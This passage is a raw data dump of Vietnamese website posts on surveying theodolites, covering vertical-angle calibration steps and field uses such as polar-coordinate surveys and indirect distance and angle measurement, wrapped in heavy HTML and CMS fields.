hình hiển thị sáng lên và giá trị hằng số trục đứng hiện thời được hiển thị.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn1.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5353 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn1-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn1-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn1-480x108.png 480w, http://tracdiapro.com/wp-content/uploads/2015/11/mn1.png 487w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"> Nghiêng ống kính qua phương ngang ở vị trí mặt trái để đọc giá trị góc đứng</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Góc đứng “VR” xuất hiện ở dòng trên màn hình tinh thể lỏng.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn11.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5354 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn11-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn11-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn11.png 487w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Khi ở vị trí mặt trái, ngắm mục tiêu P tùy ý, nằm trong phạm vi 10 độ theo phương ngang.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -VR mang ra giá trị góc đứng của mục tiêu P</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn12.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5355 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn12-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn12-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn12-480x108.png 480w, http://tracdiapro.com/wp-content/uploads/2015/11/mn12.png 482w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhấn phím (HOLD) lưu giá trị VR vào bộ nhớ</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Giá trị VR lưu giữ hiển thị ở dòng phía bên mà hình tinh thể lỏng, đồng thời VL hiển thị ở dòng dưới.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn13.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5356 aligncenter" height="68" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn13-300x68.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn13-300x68.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn13-115x26.png 115w, http://tracdiapro.com/wp-content/uploads/2015/11/mn13.png 485w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay ống kính về vị trí mặt phải và ngắm lại mục tiêu P.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Mục tiêu P có góc đứng hiển thị ở dòng dưới</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn14.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5357 aligncenter" height="68" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn14-300x68.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn14-300x68.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn14-115x26.png 115w, http://tracdiapro.com/wp-content/uploads/2015/11/mn14.png 485w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhấn phím (HOLD) lưu giá trị VL vào bộ nhớ</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Hằng số truc đứng hiển thị một giây trên cả 2 góc đứng mặt phải và trái là đưa vào</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn15.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5358 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn15-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn15-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn15-480x108.png 480w, http://tracdiapro.com/wp-content/uploads/2015/11/mn15.png 483w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Bù góc đứng được tính bằng một nửa hằng số trục đứng và ghi vào bộ nhớ.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn16.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5359 aligncenter" height="68" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn16-300x68.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn16-300x68.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn16-115x26.png 115w, http://tracdiapro.com/wp-content/uploads/2015/11/mn16.png 484w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhấn phím khác bên cạnh phím (HOLD) là bỏ qua tiến hành hoạt động này</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Để tiếp tục đặt bù góc trục đứng đến giá trị tốt hơn, bật tắt nguồn.</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Tiến hành hiệu chỉnh khi hằng số tự động trục đứng vượt quá 6′, thông báo “OVER” sẽ xuất hiện trên màn hình và điều khiển quay về bước 2</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn17.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5360 aligncenter" height="66" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn17-300x66.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn17-300x66.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn17.png 485w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Hằng số mới sửa sẽ được lưu giữ nguyên vẹn trong bộ nhớ thậm chí khi bật tắt nguồn. Tất cả đo góc đứng sau đó được sửa lại bằng AC mới.</span></span></span></li> </ul> ', 'images' => '20170911075630e672d20fd038cdf903acb9804399e23d.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-09-11', 'modified' => '2025-08-10', 'status' => '1', 'view' => '62562', 'slug' => 'cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '863', 'rght' => '864', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '493', 'name' => 'Một số ứng dụng của máy kinh vĩ trong trắc địa', 'code' => null, 'alias' => 'mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Máy kinh vĩ là <a href="http://tracdiapro.com/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="thiết bị đo đạc">thiết bị đo đạc</a> được dùng phổ biến trong trắc địa. <a href="http://tracdiapro.com/product-category/may-kinh-vi/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="Máy kinh vĩ">Máy kinh vĩ </a> có nhiều chức năng tiện lợi phục vụ cho công tác đo đạc của các kĩ sư trắc địa. Ngoài ra máy kinh vĩ còn có một số chức năng giống với <a href="http://tracdiapro.com/may-toan-dac-dien-tu/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="Máy toàn đạc điện tử">máy toàn đạc điện tử</a>, và có thể dùng thay thế cho các trường hợp cần thiết.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Ngày nay với sự phát triển của khoa học công nghệ hiện đại, <a href="http://tracdiapro.com/may-kinh-vi-dien-tu-la-gi/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="máy kinh vĩ điện tử">máy kinh vĩ điện tử</a> đã ra đời thay cho dòng máy kinh vĩ quang cơ trước đây. Với những thiết kế thông minh và công nghệ cải tiến dòng máy kinh vĩ điện tử đã tạo ra một bước đột phá mới cho ngành đo đạc bản đồ, mang lại hiệu suất cao và những kết quả vô cùng chính xác.</span></span></span></p> ', 'content' => '<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">I. Đo chi tiết bằng phương pháp tọa độ cực.</b></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Bước 1. Đặt máy trên một điểm trạm đo (dọi tâm, cân bằng sơ bộ, cân bằng chính xác).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Bước 2. Định hướng: là việc ngắm ống kính về một trạm đo khác và đưa bàn độ ngang về “00”.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Bước 3. Đo chi tiết: là việc quay máy ngắm đến mia dựng tại các điểm chi tiết (góc ranh, góc đường, góc ngoặt của sông suối…) để thu thập các số liệu về góc và cạnh rồi ghi vào trong sổ đo chi tiết.</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">II. Đo khoảng cách gián tiếp</b></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Khoảng cách đo được từ máy đến mia người ta gọi là </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">khoảng cách trực tiếp, còn khoảng cách giữa hai mia được gọi </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">là khoảng cách gián tiếp.</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;">Giả sử cần đo khoảng cách giữa 2 điểm dựng mia B và C ta làm </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">như sau:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Đặt máy tại 1 điểm bất kỳ (A) sao cho có thể ngắm đến </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">các điểm dựng mia (B, C).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm mia dựng tại B và C rồi đo góc “” và đo khoảng cách từ máy đến 2 mia ta được cạnh “b </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">và c” như hình vẽ.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="do khoang cach gian tiep" class="size-full wp-image-7479 alignleft" height="153" sizes="(max-width: 284px) 100vw, 284px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi-115x62.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi-150x81.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi.png 284w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; margin: 0px 20px 20px 0px !important; float: left !important;" width="284" /></a></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính khoảng cách gián tiếp (a) theo công thức:</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi1.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone size-full wp-image-7480" height="45" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi1.png" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="277" /></a></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">III. Đo góc gián tiếp.</b></span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;">Góc đo được tại điểm đặt máy người ta gọi là góc đo trực tiếp, còn góc xác định được tại các điểm không đặt máy người ta gọi là góc đo gián tiếp. Giả sử cần xác định 2 góc B và C như hình vẽ ta thực hiện như sau:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Đặt máy kinh vĩ tại điểm A, dựng mia tại 2 điểm B và C.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm mia dựng tại B và C rồi đo góc “” và đo khoảng cách từ máy đến 2 mia ta được cạnh “b và c” như hình vẽ.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="size-full wp-image-7482 alignleft" height="175" sizes="(max-width: 268px) 100vw, 268px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3-115x75.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3-150x98.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3.png 268w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; margin: 0px 20px 20px 0px !important; float: left !important;" width="268" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính khoảng cách gián tiếp (a) theo công thức: <a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; 